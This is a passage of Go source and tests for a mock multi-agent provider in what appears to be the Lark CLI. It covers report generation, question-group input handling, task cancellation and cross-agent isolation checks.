// DownloadArtifact and declares the FileInput/InputRequired behavioral flags. The
// difference between the two agents is data you read top-to-bottom, not a branch
// inside a Factory.
// reporterSendParams is reporter's typed view of its send params — the
// BindParams copy-start template. agenttest.CheckParamsBinding locks the tags
// against the declaration below in example_test.go.
type reporterSendParams struct {
ReportFormat string `param:"report_format"`
Quarters int64 `param:"quarters"`
// Render binds the object param's leaves点路径/JSON 两通道归一后的
// "render.*" 键)——嵌套 struct + tag 即完成拼装。
Render renderOpts `param:"render"`
}
type renderOpts struct {
Theme string `param:"theme"`
Watermark bool `param:"watermark"`
}
var reporterSpec = agents.AgentSpec{
ID: "reporter",
Name: "报表生成器",
Description: "对任意请求产出一份内联 CSV 报表 artifact示范 artifact 下载与任务取消链路。",
FileInput: true,
// InputRequired is deliberately NOT declared: reporter never pauses (tasks
// are born terminal), and a question-asking flag would obligate an
// every-brand CancelTask (§6.8 registration check) — its CancelTask is the
// brand-scoping demo below. The HITL demo lives on planner.
// Send declares demo business params covering the whole declaration
// surface: enum + default (report_format), integer + min/max + default
// (quarters). Both optional with defaults, so a bare send behaves exactly
// like before — the params exist to be a copy-start template and to make
// the validation/card/meta.next chain exercisable offline.
Send: agents.SendOp{
Params: []agents.CardParam{
{Name: "report_format", Enum: []string{"csv", "xlsx"}, Default: "csv",
Desc: "报表输出格式"},
{Name: "quarters", Type: "integer", Min: agents.Float(1), Max: agents.Float(12), Default: "4",
Desc: "回溯季度数"},
// object 参数演示:点路径 --param render.theme=dark 或 JSON 整值
// --param render='{"theme":"dark"}' 两通道等价,框架归一后 hook 只见
// 平铺 "render.*" 键。
{Name: "render", Type: "object", Desc: "渲染选项", Fields: []agents.CardParam{
{Name: "theme", Enum: []string{"light", "dark"}, Default: "light", Desc: "配色主题"},
{Name: "watermark", Type: "boolean", Default: "false", Desc: "是否加水印"},
}},
},
Handler: reporterSend,
},
GetTask: agents.TaskGetOp{Handler: getTask},
ListTasks: agents.TaskListOp{Handler: listTasks},
ListContexts: agents.ContextListOp{Handler: listContexts},
GetContext: agents.ContextGetOp{Handler: getContext},
DeleteContext: agents.ContextDeleteOp{Handler: deleteContext},
// task_cancel is scoped to feishu — a real brand-scoped capability demo:
// under lark reporter's card shows task_cancel=false and
// `agents task cancel example:reporter` is gated with unavailable_for_brand
// (the whole agent stays visible under both brands — only this op is scoped).
CancelTask: agents.TaskCancelOp{Brands: []core.LarkBrand{core.BrandFeishu}, Handler: cancelTask},
DownloadArtifact: agents.ArtifactDownloadOp{Handler: downloadArtifact},
}
// plannerSpec demonstrates the input_required HITL flow (design doc §3-§8):
// the first send pauses on a THREE-question group (single-select + free-text +
// multi-select with a skip option), answered atomically in one send via
// --answer; a second submission gets failed_precondition + resolved_answers.
// It wires CancelTask because a question-asking agent must be walkaway-able
// (§6.8 — Register enforces this), and the read verbs; not artifact.
var plannerSpec = agents.AgentSpec{
ID: "planner",
Name: "报表规划器",
Description: "先弹一组确认问题(单选/自由文本/多选input_required你用 --answer 一次答清后再出报表。示范 HITL 问题组链路。",
InputRequired: true,
Send: agents.SendOp{Handler: plannerSend},
GetTask: agents.TaskGetOp{Handler: getTask},
ListTasks: agents.TaskListOp{Handler: listTasks},
CancelTask: agents.TaskCancelOp{Handler: cancelTask},
ListContexts: agents.ContextListOp{Handler: listContexts},
GetContext: agents.ContextGetOp{Handler: getContext},
DeleteContext: agents.ContextDeleteOp{Handler: deleteContext},
}
// plannerSend pauses a fresh request on a question group, or applies the
// --answer submission (continuing the group's own task). A bare --text aimed
// at the paused task is rejected with guidance — NEVER forked into a sibling
// task (§6.5): the group contains select questions, so free text cannot be
// consumed as the whole answer here.
func plannerSend(ctx context.Context, rt agents.Runtime, in agents.SendInput) (*agents.AgentTask, error) {
if len(in.Answers) > 0 {
if in.TaskID == "" {
// The CLI guard already enforces this; the belt holds for direct hook calls.
return nil, errs.NewValidationError(errs.SubtypeInvalidArgument,
"回答问题组需提供 --task-id").WithParam("--task-id")
}
task, err := store.answerGroup(rt.AgentID(), in.ContextID, in.TaskID, in.Answers, in.Text)
if err != nil {
return nil, err
}
return &task, nil
}
if in.TaskID != "" {
return nil, errs.NewValidationError(errs.SubtypeInvalidArgument,
"该任务在等待问题组答复,且组内含选择题,无法用 --text 自由作答").
WithParam("--text").
WithHint("用 lark-cli agents task get example:%s %s 查看问题组,按 meta.next 的 --answer 模板作答", rt.AgentID(), in.TaskID)
}
ctxID := in.ContextID
if ctxID == "" {
var err error
ctxID, err = store.createContext(rt.AgentID(), truncateTitle(in.Text))
if err != nil {
return nil, err
}
}
// Mint the group's question ids at CREATION time with a fresh per-group
// suffix (§6.2): the group is persisted with these ids and every later
// task get echoes them verbatim; a successor group would mint a different
// suffix, which is the stale-retry protection.
questions := []agents.Question{
{Question: "按什么维度拆分?", Options: []agents.Option{
{OptionID: "by_region", Label: "按大区", Description: "华东/华北/华南汇总"},
{OptionID: "by_category", Label: "按品类", Description: "SKU 一级类目"},
}},
{Question: "时间范围?"},
{Question: "包含哪些区域?", MultiSelect: true, Options: []agents.Option{
{OptionID: "east", Label: "华东"},
{OptionID: "north", Label: "华北"},
{OptionID: "skip", Label: "由 agent 决定", Description: "与其它选项互斥"},
}},
}
agents.MintQuestionIDs(questions, newGroupSuffix())
task, err := store.createTask(rt.AgentID(), ctxID, func(int) agents.AgentTask {
return agents.AgentTask{
TaskID: newID("task"),
ContextID: ctxID,
State: agents.StateInputRequired,
Messages: []agents.Message{
{Role: "user", Parts: []agents.Part{{Type: "text", Text: in.Text}}},
{Role: "agent", Parts: []agents.Part{{Type: "text", Text: "生成报表前需确认以下口径。"}}},
},
InputRequired: &agents.InputRequired{
Label: "报表生成确认",
Description: "生成前需确认以下口径",
Questions: questions,
},
}
})
if err != nil {
return nil, err
}
return &task, nil
}
// ── Hooks: plain funcs. The addressed agent comes from rt.AgentID() (request
// data, replacing the old state.agentID). The mock ignores rt's network
// methods (CallAPI/CallMultipart/IsBot). There is NO catalog.Lookup guard
// anywhere — the framework's LookupSpec validated ref→spec offline before
// dispatch, so an unknown id never reaches a hook. ──
// echoSend echoes the input; from round 2 on it appends a round marker to prove
// across commands that context memory works.
func echoSend(ctx context.Context, rt agents.Runtime, in agents.SendInput) (*agents.AgentTask, error) {
return newTurn(rt.AgentID(), in, func(round int) (string, []agents.Artifact) {
reply := in.Text
if round > 1 {
reply = fmt.Sprintf("%s第 %d 轮)", in.Text, round)
}
return reply, nil
})
}
// reporterSend produces a fixed inline CSV artifact for any request. It reads
// its demo params through BindParams — the typed, compile-checked consumption
// template (rt.Params() raw lookups work too but are typo-prone). With the
// declaration defaults (csv/4) the reply is byte-identical to the historical
// one; a hook invoked outside the framework (unit tests calling it directly)
// sees an empty param map and the same historical reply.
func reporterSend(ctx context.Context, rt agents.Runtime, in agents.SendInput) (*agents.AgentTask, error) {
p, err := agents.BindParams[reporterSendParams](rt)
if err != nil {
return nil, err
}
return newTurn(rt.AgentID(), in, func(round int) (string, []agents.Artifact) {
reply := "报表已生成quarterly_report.csv见 artifacts用 task get --artifact <id> -o <path> 下载)"
if p.ReportFormat != "" && p.ReportFormat != "csv" {
reply = fmt.Sprintf("报表已生成(%s 格式,回溯 %d 个季度quarterly_report.%s见 artifacts用 task get --artifact <id> -o <path> 下载)",
p.ReportFormat, p.Quarters, p.ReportFormat)
}
if p.Render.Watermark {
reply = fmt.Sprintf("%s%s 主题,含水印)", reply, p.Render.Theme)
}
if n := len(in.Files); n > 0 {
reply = fmt.Sprintf("已收到 %d 个附件;%s", n, reply)
}
// Name/Mime 在 GetTask 阶段就可见(下载前),调用方能直接据此定 -o 后缀,
// 不必先猜再靠下载后的 suggested_name 纠正——真实 provider 应尽量同样前置。
ext, mime := "csv", "text/csv"
if p.ReportFormat == "xlsx" {
ext, mime = "xlsx", "application/vnd.openxmlformats-officedocument.spreadsheetml.sheet"
}
return reply, []agents.Artifact{{ID: newID("art"), Kind: "text", Name: "quarterly_report." + ext, Mime: mime}}
})
}
// newTurn factors the shared store flow: start/continue a context, then create a
// task whose body the caller builds per round. The mock task is instantly
// terminal, so there is no "feed input to a running task" scenario — continuing
// via --task-id returns failed_precondition (the request is valid but the target
// state does not satisfy it, so the AI knows to start a new task instead).
func newTurn(agentID string, in agents.SendInput, build func(round int) (reply string, artifacts []agents.Artifact)) (*agents.AgentTask, error) {
if len(in.Answers) > 0 {
// No pending question group exists on a born-terminal agent — reject
// loudly rather than silently dropping the answers (§6.4's no-silent-drop
// bottom line; reporter passes the CLI's input_required capability gate,
// so this is reachable there).
return nil, errs.NewValidationError(errs.SubtypeFailedPrecondition,
"该 agent 没有待答的问题组").
WithParam("--answer").
WithHint("--answer 只用于回答停在 input_required 的任务;起新任务用 --text")
}
if in.TaskID != "" {
return nil, errs.NewValidationError(errs.SubtypeFailedPrecondition,
"example 的任务发出即完成(终态),无法向已有任务续发").
WithParam("--task-id").
WithHint("去掉 --task-id用 --context-id 在同一会话起新一轮任务")
}
ctxID := in.ContextID
if ctxID == "" {
var err error
ctxID, err = store.createContext(agentID, truncateTitle(in.Text))
if err != nil {
return nil, err
}
}
// createTask validates context ownership under the lock (an unknown /
// cross-agents context id is rejected inside with a typed error), computes the
// round, and inserts atomically.
task, err := store.createTask(agentID, ctxID, func(round int) agents.AgentTask {
reply, artifacts := build(round)
return agents.AgentTask{
TaskID: newID("task"),
ContextID: ctxID,
State: agents.StateCompleted,
IsTerminal: true,
Messages: []agents.Message{
{Role: "user", Parts: []agents.Part{{Type: "text", Text: in.Text}}},
{Role: "agent", Parts: []agents.Part{{Type: "text", Text: reply}}},
},
Artifacts: artifacts,
}
})
if err != nil {
return nil, err
}
return &task, nil
}
func getTask(ctx context.Context, rt agents.Runtime, taskID string) (*agents.AgentTask, error) {
task, err := store.getTask(rt.AgentID(), taskID)
if err != nil {
return nil, err
}
return &task, nil
}
func listTasks(ctx context.Context, rt agents.Runtime, contextID string, page agents.PageParams) ([]agents.TaskSummary, agents.PageInfo, error) {
tasks, info := store.listTasks(rt.AgentID(), contextID, page)
return tasks, info, nil
}
func listContexts(ctx context.Context, rt agents.Runtime, page agents.PageParams) ([]agents.ContextSummary, agents.PageInfo, error) {
ctxs, info := store.listContexts(rt.AgentID(), page)
return ctxs, info, nil
}
func getContext(ctx context.Context, rt agents.Runtime, ctxID string) (*agents.ContextDetail, error) {
return store.getContext(rt.AgentID(), ctxID)
}
func deleteContext(ctx context.Context, rt agents.Runtime, ctxID string) error {
return store.deleteContext(rt.AgentID(), ctxID)
}
// cancelTask is wired only for reporter, so echo never reaches it (the command
// layer gates echo's cancel on the nil field). The mock task is completed the
// moment it is sent, so canceling a terminal task returns a failed_precondition
// typed error rather than pretending success.
func cancelTask(ctx context.Context, rt agents.Runtime, taskID string) error {
task, err := store.getTask(rt.AgentID(), taskID)
if err != nil {
return err
}
if task.State.IsTerminal() {
return errs.NewValidationError(errs.SubtypeFailedPrecondition,
"任务 '%s' 已处于终态 %s无法取消", taskID, task.State).
WithHint("终态任务不可取消;用 lark-cli agents task get example:%s %s 查看结果", rt.AgentID(), taskID)
}
return store.setTaskState(taskID, agents.StateCanceled)
}
// reportCSV is the fixed content of the reporter artifact (inline Bytes type).
const reportCSV = "quarter,revenue,cost,margin\n" +
"2026Q1,1250,830,0.336\n" +
"2026Q2,1410,905,0.358\n"
// downloadArtifact is wired only for reporter (echo is gated on the nil field).
// It returns inline Bytes; a real provider would fill URL instead and let the
// command layer SSRF-validate + fetch.
//
// Teaching point (suggested_name): ArtifactData.Name is the server-suggested
// file name, echoed back only as a reference for choosing -o — it is untrusted
// and never participates in constructing the local save path (the save path is
// always -o/SafeOutputPath).
func downloadArtifact(ctx context.Context, rt agents.Runtime, taskID, artifactID string) (*agents.ArtifactData, error) {
task, err := store.getTask(rt.AgentID(), taskID)
if err != nil {
return nil, err
}
for _, a := range task.Artifacts {
if a.ID == artifactID {
return &agents.ArtifactData{
Name: "quarterly_report.csv",
Mime: "text/csv",
Bytes: []byte(reportCSV),
}, nil
}
}
return nil, errs.NewValidationError(errs.SubtypeInvalidArgument,
"任务 '%s' 名下没有产物 '%s'", taskID, artifactID).
WithHint("运行 lark-cli agents task get example:%s %s 查看该任务的 artifacts", rt.AgentID(), taskID)
}
// truncateTitle takes the first few characters of the message as the context
// title (truncated by rune to avoid cutting a character in half).
func truncateTitle(s string) string {
const max = 20
r := []rune(s)
if len(r) <= max {
return s
}
return string(r[:max]) + "…"
}

View File

@@ -0,0 +1,969 @@
// Copyright (c) 2026 Lark Technologies Pte. Ltd.
// SPDX-License-Identifier: MIT
package example
import (
"context"
"encoding/json"
"errors"
"path/filepath"
"strings"
"testing"
"github.com/larksuite/cli/errs"
"github.com/larksuite/cli/internal/agents"
"github.com/larksuite/cli/internal/agents/agenttest"
"github.com/larksuite/cli/internal/core"
)
// Register the example provider for this test binary (provider packages are pure
// data now — the top-level agent package's init does this in production, but that
// package cannot be imported here without an import cycle).
func init() { agents.Register(Provider()) }
// fakeRuntime is the offline test runtime: it supplies the addressed agent_id
// and no-ops the network methods (the mock hooks only ever read AgentID()).
type fakeRuntime struct {
agentID string
params map[string]string
}
func (r fakeRuntime) AgentID() string { return r.agentID }
func (r fakeRuntime) IsBot() bool { return false }
func (r fakeRuntime) Params() map[string]string { return r.params }
func (r fakeRuntime) CallAPI(context.Context, string, string, map[string]string, any) (json.RawMessage, error) {
return nil, nil
}
func (r fakeRuntime) CallMultipart(context.Context, string, string, map[string]string, []agents.FilePart) (json.RawMessage, error) {
return nil, nil
}
// swapStore replaces the package-level store with an isolated instance pointing at
// t.TempDir, so tests do not pollute each other or the local demo snapshot.
func swapStore(t *testing.T) {
t.Helper()
old := store
store = newMemoryStore(filepath.Join(t.TempDir(), "state.json"))
t.Cleanup(func() { store = old })
}
// TestConformance runs the shared conformance suite for every catalog entry.
func TestConformance(t *testing.T) {
agenttest.RunConformance(t, "example", "echo")
}
func TestConformancePlanner(t *testing.T) {
agenttest.RunConformance(t, "example", "planner")
}
func TestConformanceReporter(t *testing.T) {
agenttest.RunConformance(t, "example", "reporter")
}
// TestCapabilityMatrixDiverges pins the deliberate difference between the two
// agents, derived purely from which hooks each spec wires.
func TestCapabilityMatrixDiverges(t *testing.T) {
// Under feishu (default), reporter's feishu-scoped task_cancel is live, so the
// historical full matrix holds.
ec := agents.DeriveCapabilities(&echoSpec, core.BrandFeishu)
rc := agents.DeriveCapabilities(&reporterSpec, core.BrandFeishu)
if ec.ArtifactDownload || ec.FileInput || ec.TaskCancel {
t.Errorf("echo should be the minimal set (no artifact/file/cancel), got %+v", ec)
}
if !ec.ContextList || !ec.ContextGet || !ec.ContextDelete || !ec.TaskGet || !ec.TaskList {
t.Errorf("echo should support context_list/get/delete + task_get/task_list, got %+v", ec)
}
if !(rc.ArtifactDownload && rc.FileInput && rc.TaskCancel && rc.ContextList && rc.ContextGet && rc.ContextDelete && rc.TaskGet && rc.TaskList) {
t.Errorf("reporter should have everything but input_required enabled, got %+v", rc)
}
if rc.InputRequired {
t.Error("reporter never pauses — input_required must be false (its brand-scoped CancelTask would otherwise violate the §6.8 registration check)")
}
}
// TestEchoUnwiredCapabilities verifies the new model: echo simply leaves
// CancelTask / DownloadArtifact unwired and FileInput false — no refusal code.
func TestEchoUnwiredCapabilities(t *testing.T) {
if echoSpec.CancelTask.Handler != nil {
t.Error("echo should not wire CancelTask (task_cancel=false)")
}
if echoSpec.DownloadArtifact.Handler != nil {
t.Error("echo should not wire DownloadArtifact (artifact_download=false)")
}
if echoSpec.FileInput {
t.Error("echo should not accept file input (file_input=false)")
}
}
// TestEchoMultiTurn verifies multi-turn context memory across the read verbs.
func TestEchoMultiTurn(t *testing.T) {
swapStore(t)
rt := fakeRuntime{agentID: "echo"}
ctx := context.Background()
t1, err := echoSend(ctx, rt, agents.SendInput{Text: "hello"})
if err != nil {
t.Fatalf("first-turn send: %v", err)
}
if t1.State != agents.StateCompleted || t1.ContextID == "" || t1.TaskID == "" {
t.Fatalf("first turn should be completed with context_id/task_id: %+v", t1)
}
if got := agentReply(t, t1); got != "hello" {
t.Fatalf("first-turn echo should be the original text, got %q", got)
}
t2, err := echoSend(ctx, rt, agents.SendInput{Text: "再来", ContextID: t1.ContextID})
if err != nil {
t.Fatalf("follow-up send: %v", err)
}
if t2.ContextID != t1.ContextID {
t.Fatalf("follow-up should stay in the same context: %q vs %q", t2.ContextID, t1.ContextID)
}
if got := agentReply(t, t2); got != "再来(第 2 轮)" {
t.Fatalf("second-turn echo should carry a turn marker, got %q", got)
}
got, err := getTask(ctx, rt, t2.TaskID)
if err != nil {
t.Fatalf("getTask: %v", err)
}
if agentReply(t, got) != "再来(第 2 轮)" {
t.Fatalf("getTask should replay the stored messages, got %+v", got.Messages)
}
tasks, _, err := listTasks(ctx, rt, t1.ContextID, agents.PageParams{})
if err != nil {
t.Fatal(err)
}
if len(tasks) != 2 {
t.Fatalf("the same context should have 2 tasks, got %d", len(tasks))
}
// Every summary carries the enriched fields: a status timestamp and the
// one-line digest (the last agent message). listTasks now returns
// most-recent-first, so tasks[0] is the second turn and tasks[1] the first.
for _, ts := range tasks {
if ts.UpdatedAt == "" {
t.Errorf("task summary should carry updated_at: %+v", ts)
}
}
if tasks[0].Summary != "再来(第 2 轮)" {
t.Errorf("newest task summary should carry the round marker, got %q", tasks[0].Summary)
}
if tasks[1].Summary != "hello" {
t.Errorf("oldest task summary should be the first agent message %q, got %q", "hello", tasks[1].Summary)
}
ctxs, _, err := listContexts(ctx, rt, agents.PageParams{})
if err != nil {
t.Fatal(err)
}
if len(ctxs) != 1 || ctxs[0].ContextID != t1.ContextID {
t.Fatalf("should have exactly 1 context with a matching id, got %+v", ctxs)
}
if ctxs[0].AwaitingInput {
t.Errorf("context summary should roll up awaiting_input=false, got %+v", ctxs[0])
}
if ctxs[0].UpdatedAt == "" {
t.Error("context summary should carry updated_at")
}
// context get NO LONGER returns a full tasks[]: it is metadata + rollup + the
// single most-recent active_task (t2, the latest by updated_at).
detail, err := getContext(ctx, rt, t1.ContextID)
if err != nil {
t.Fatal(err)
}
if detail.TaskCount == nil || *detail.TaskCount != 2 {
t.Fatalf("context detail should report task_count=2, got %+v", detail)
}
if detail.AwaitingInput {
t.Errorf("both tasks are completed, awaiting_input should be false: %+v", detail)
}
if detail.ActiveTask == nil || detail.ActiveTask.TaskID != t2.TaskID {
t.Fatalf("active_task should be the most recent task (t2 %s), got %+v", t2.TaskID, detail.ActiveTask)
}
if detail.ActiveTask.Summary != "再来(第 2 轮)" {
t.Errorf("active_task.summary should be the last agent message, got %q", detail.ActiveTask.Summary)
}
if detail.ActiveTask.UpdatedAt == "" {
t.Error("active_task.updated_at should be populated")
}
}
// TestCrossAgentIsolation pins the load-bearing per-agent isolation guard: echo
// and reporter share one package-global store, so a task/context created under
// one agent MUST be invisible to the other agent's runtime (get/delete return a
// not-found error; list returns nothing). Without this guard
// `agents task get example:reporter <echo-task-id>` would leak echo's data.
func TestCrossAgentIsolation(t *testing.T) {
swapStore(t)
ctx := context.Background()
echo := fakeRuntime{agentID: "echo"}
reporter := fakeRuntime{agentID: "reporter"}
t1, err := echoSend(ctx, echo, agents.SendInput{Text: "secret"})
if err != nil {
t.Fatalf("echo send: %v", err)
}
// reporter must not read/delete echo's task or context.
if _, err := getTask(ctx, reporter, t1.TaskID); err == nil {
t.Error("reporter must not read echo's task (cross-agent leak)")
}
if _, err := getContext(ctx, reporter, t1.ContextID); err == nil {
t.Error("reporter must not read echo's context (cross-agent leak)")
}
if err := deleteContext(ctx, reporter, t1.ContextID); err == nil {
t.Error("reporter must not delete echo's context (cross-agent leak)")
}
if tasks, _, _ := listTasks(ctx, reporter, "", agents.PageParams{}); len(tasks) != 0 {
t.Errorf("reporter should see no echo tasks, got %d", len(tasks))
}
if ctxs, _, _ := listContexts(ctx, reporter, agents.PageParams{}); len(ctxs) != 0 {
t.Errorf("reporter should see no echo contexts, got %d", len(ctxs))
}
// echo still sees its own data, and its context survived reporter's delete.
if _, err := getTask(ctx, echo, t1.TaskID); err != nil {
t.Errorf("echo must still read its own task: %v", err)
}
if _, err := getContext(ctx, echo, t1.ContextID); err != nil {
t.Errorf("echo's context must survive a cross-agent delete attempt: %v", err)
}
}
// TestStateSurvivesReload pins the cross-process semantics via the shared snapshot.
func TestStateSurvivesReload(t *testing.T) {
swapStore(t)
rt := fakeRuntime{agentID: "echo"}
task, err := echoSend(context.Background(), rt, agents.SendInput{Text: "persist"})
if err != nil {
t.Fatal(err)
}
store = newMemoryStore(store.path) // a new process view; only the snapshot file is shared
got, err := getTask(context.Background(), rt, task.TaskID)
if err != nil {
t.Fatalf("getTask after reload: %v", err)
}
if got.ContextID != task.ContextID {
t.Fatalf("task should replay fully after reload: %+v", got)
}
}
// plannerAnswers builds the full valid answer set for a freshly opened planner
// group (§10.1 key encoding): q1 by option, q2 by text, q3 multi-select.
func plannerAnswers(ir *agents.InputRequired) map[string][]string {
return map[string][]string{
ir.Questions[0].QuestionID: {"by_region"},
ir.Questions[1].QuestionID + agents.AnswerTextSuffix: {"2024 全年"},
ir.Questions[2].QuestionID: {"east", "north"},
}
}
// TestPlannerGroupFlow drives the input_required HITL loop end to end on the
// reference provider: the first send pauses on a three-question group with
// creation-minted per-group keys, one --answer submission completes the task
// with option ids resolved back to labels, and a second submission gets
// failed_precondition carrying resolved_answers (the "already decided" path).
func TestPlannerGroupFlow(t *testing.T) {
swapStore(t)
rt := fakeRuntime{agentID: "planner"}
ctx := context.Background()
t1, err := plannerSend(ctx, rt, agents.SendInput{Text: "出个季度报表"})
if err != nil {
t.Fatalf("planner open send: %v", err)
}
if t1.State != agents.StateInputRequired || t1.InputRequired == nil {
t.Fatalf("first send should pause on a question group, got %+v", t1)
}
ir := t1.InputRequired
if ir.Label == "" || len(ir.Questions) != 3 {
t.Fatalf("group should carry a label and 3 questions, got %+v", ir)
}
if len(ir.Questions[0].Options) != 2 || len(ir.Questions[1].Options) != 0 ||
!ir.Questions[2].MultiSelect || len(ir.Questions[2].Options) != 3 {
t.Fatalf("question shapes wrong: %+v", ir.Questions)
}
for _, q := range ir.Questions {
if !agents.KeyPattern.MatchString(q.QuestionID) {
t.Errorf("minted question_id must satisfy KeyPattern, got %q", q.QuestionID)
}
}
// Per-group suffix: all three ids share ONE suffix (creation-minted, §6.2 —
// per-question suffixes would break the group-anchor staleness design)…
suffix := t1.InputRequired.Questions[0].QuestionID
suffix = suffix[strings.LastIndex(suffix, "_")+1:]
for _, q := range t1.InputRequired.Questions {
if !strings.HasSuffix(q.QuestionID, "_"+suffix) {
t.Errorf("all question ids must share the group suffix %q, got %q", suffix, q.QuestionID)
}
}
// …and a SECOND group (new ask in the same context) mints a different one —
// the stale-retry protection.
t2, err := plannerSend(ctx, rt, agents.SendInput{ContextID: t1.ContextID, Text: "再来一份"})
if err != nil {
t.Fatal(err)
}
q2id := t2.InputRequired.Questions[0].QuestionID
if q2id == t1.InputRequired.Questions[0].QuestionID {
t.Errorf("a successor group must mint different question ids, both got %q", q2id)
}
done, err := plannerSend(ctx, rt, agents.SendInput{
ContextID: t1.ContextID, TaskID: t1.TaskID, Answers: plannerAnswers(ir),
})
if err != nil {
t.Fatalf("answering the group: %v", err)
}
if done.State != agents.StateCompleted {
t.Fatalf("answered task should be completed, got %s", done.State)
}
var acceptReply string
for i := len(done.Messages) - 1; i >= 0; i-- {
if done.Messages[i].Role == "agent" && len(done.Messages[i].Parts) > 0 {
acceptReply = done.Messages[i].Parts[0].Text
break
}
}
if !strings.Contains(acceptReply, "按大区") || !strings.Contains(acceptReply, "2024 全年") {
t.Errorf("acceptance reply should resolve option ids to labels and echo text answers, got %q", acceptReply)
}
// Second submission (another endpoint / a retry whose first attempt landed):
// failed_precondition + resolved_answers echoing what won.
_, err = plannerSend(ctx, rt, agents.SendInput{
ContextID: t1.ContextID, TaskID: t1.TaskID, Answers: plannerAnswers(ir),
})
if err == nil {
t.Fatal("re-answering a resolved group should fail")
}
if p, ok := errs.ProblemOf(err); !ok || p.Subtype != errs.SubtypeFailedPrecondition {
t.Fatalf("re-answer should be failed_precondition, got %+v (%v)", p, err)
}
var verr *errs.ValidationError
if !errors.As(err, &verr) || verr.ResolvedAnswers == nil {
t.Fatalf("re-answer must carry resolved_answers (who won), got %+v", verr)
}
if v := verr.ResolvedAnswers[ir.Questions[0].QuestionID]; len(v) != 1 || v[0] != "by_region" {
t.Errorf("resolved_answers should echo the accepted set, got %v", verr.ResolvedAnswers)
}
}
// TestPlannerCollectAllValidation pins the strict-posture server validation in
// one submission: an unknown key (stale retry), a bad option, a skip+value
// conflict, and a missing question are ALL reported in one invalid_argument
// whose params[] carry the Reason enum and the question declaration — and the
// rejected submission changes nothing.
func TestPlannerCollectAllValidation(t *testing.T) {
swapStore(t)
rt := fakeRuntime{agentID: "planner"}
ctx := context.Background()
t1, err := plannerSend(ctx, rt, agents.SendInput{Text: "出报表"})
if err != nil {
t.Fatal(err)
}
ir := t1.InputRequired
_, err = plannerSend(ctx, rt, agents.SendInput{
ContextID: t1.ContextID, TaskID: t1.TaskID,
Answers: map[string][]string{
"q1_stale": {"by_region"}, // 陈旧/拼错键 → unknown_question
ir.Questions[0].QuestionID: {"nonexistent"}, // 非法选项 → invalid_option
ir.Questions[2].QuestionID: {"east", "skip"}, // skip 与实值互斥 → conflict
// Questions[1] 未答 → missing
},
})
if err == nil {
t.Fatal("a violating submission should error")
}
p, ok := errs.ProblemOf(err)
if !ok || p.Subtype != errs.SubtypeInvalidArgument {
t.Fatalf("want invalid_argument, got %+v (%v)", p, err)
}
var verr *errs.ValidationError
if !errors.As(err, &verr) {
t.Fatal(err)
}
reasons := map[string]string{}
for _, ip := range verr.Params {
reasons[ip.Reason] = ip.Name
}
for _, want := range []string{"unknown_question", "invalid_option", "conflict", "missing"} {
if _, hit := reasons[want]; !hit {
t.Errorf("collect-all params should include reason %q, got %v", want, verr.Params)
}
}
if !strings.Contains(p.Hint, "整组重发") {
t.Errorf("hint must state the full-group resend rule, got %q", p.Hint)
}
got, err := getTask(ctx, rt, t1.TaskID)
if err != nil {
t.Fatal(err)
}
if got.State != agents.StateInputRequired {
t.Errorf("a rejected submission must change nothing, got state=%s", got.State)
}
}
// TestPlannerBareTextNoSiblingFork pins the §6.5 rule: a bare --text aimed at
// the paused task is rejected with guidance toward --answer — it must NOT fork
// a sibling task (the pre-v0.3 behavior this replaces).
func TestPlannerBareTextNoSiblingFork(t *testing.T) {
swapStore(t)
rt := fakeRuntime{agentID: "planner"}
ctx := context.Background()
t1, err := plannerSend(ctx, rt, agents.SendInput{Text: "出报表"})
if err != nil {
t.Fatal(err)
}
_, err = plannerSend(ctx, rt, agents.SendInput{
ContextID: t1.ContextID, TaskID: t1.TaskID, Text: "按大区吧",
})
if err == nil {
t.Fatal("bare --text at a paused select-question group should be rejected")
}
if p, ok := errs.ProblemOf(err); !ok || p.Subtype != errs.SubtypeInvalidArgument || !strings.Contains(p.Hint, "--answer") {
t.Fatalf("rejection should guide to --answer, got %+v (%v)", p, err)
}
// No sibling task was created: the context still holds exactly one task.
tasks, _, err := listTasks(ctx, rt, t1.ContextID, agents.PageParams{})
if err != nil {
t.Fatal(err)
}
if len(tasks) != 1 {
t.Fatalf("bare --text must not fork a sibling task, got %d tasks", len(tasks))
}
}
// TestNewTurnRejectsAnswers pins the no-silent-drop bottom line on born-terminal
// agents: reporter passes the CLI's input_required capability gate, so its hook
// must reject --answer loudly instead of consuming it as a plain turn.
func TestNewTurnRejectsAnswers(t *testing.T) {
swapStore(t)
rt := fakeRuntime{agentID: "reporter"}
_, err := reporterSend(context.Background(), rt, agents.SendInput{
Answers: map[string][]string{"q1": {"x"}},
})
if err == nil {
t.Fatal("answers at a born-terminal agent should be rejected, not dropped")
}
if p, ok := errs.ProblemOf(err); !ok || p.Subtype != errs.SubtypeFailedPrecondition {
t.Fatalf("want failed_precondition, got %+v (%v)", p, err)
}
}
// TestReporterParamsBinding locks the declaration↔consumption contract: the
// reporterSendParams struct tags must reference params declared on send with
// compatible kinds (a renamed/retyped declaration fails here in CI, not as a
// silent zero value at runtime).
func TestReporterParamsBinding(t *testing.T) {
agenttest.CheckParamsBinding[reporterSendParams](t, &reporterSpec, agents.VerbSend)
}
// TestReporterConsumesParams drives reporterSend with framework-style resolved
// params (defaults backfilled) and pins that BindParams feeds the reply: the
// default shape keeps the historical reply, a non-default format changes it.
func TestReporterConsumesParams(t *testing.T) {
swapStore(t)
ctx := context.Background()
// defaults → historical reply, byte-identical
rt := fakeRuntime{agentID: "reporter", params: map[string]string{"report_format": "csv", "quarters": "4"}}
task, err := reporterSend(ctx, rt, agents.SendInput{Text: "报表"})
if err != nil {
t.Fatal(err)
}
if got := agentReply(t, task); !strings.HasPrefix(got, "报表已生成quarterly_report.csv") {
t.Fatalf("default params should keep the historical reply, got %q", got)
}
// non-default format → the reply reflects the params
rt2 := fakeRuntime{agentID: "reporter", params: map[string]string{"report_format": "xlsx", "quarters": "6"}}
task2, err := reporterSend(ctx, rt2, agents.SendInput{Text: "报表"})
if err != nil {
t.Fatal(err)
}
if got := agentReply(t, task2); !strings.Contains(got, "xlsx") || !strings.Contains(got, "6 个季度") {
t.Fatalf("params should feed the reply, got %q", got)
}
}
// TestReporterRenderObject drives the object param end to end on the reference
// provider: framework-style resolved leaves reach the hook, the nested struct
// binds, and the reply reflects them.
func TestReporterRenderObject(t *testing.T) {
swapStore(t)
rt := fakeRuntime{agentID: "reporter", params: map[string]string{
"report_format": "csv", "quarters": "4",
"render.theme": "dark", "render.watermark": "true",
}}
task, err := reporterSend(context.Background(), rt, agents.SendInput{Text: "报表"})
if err != nil {
t.Fatal(err)
}
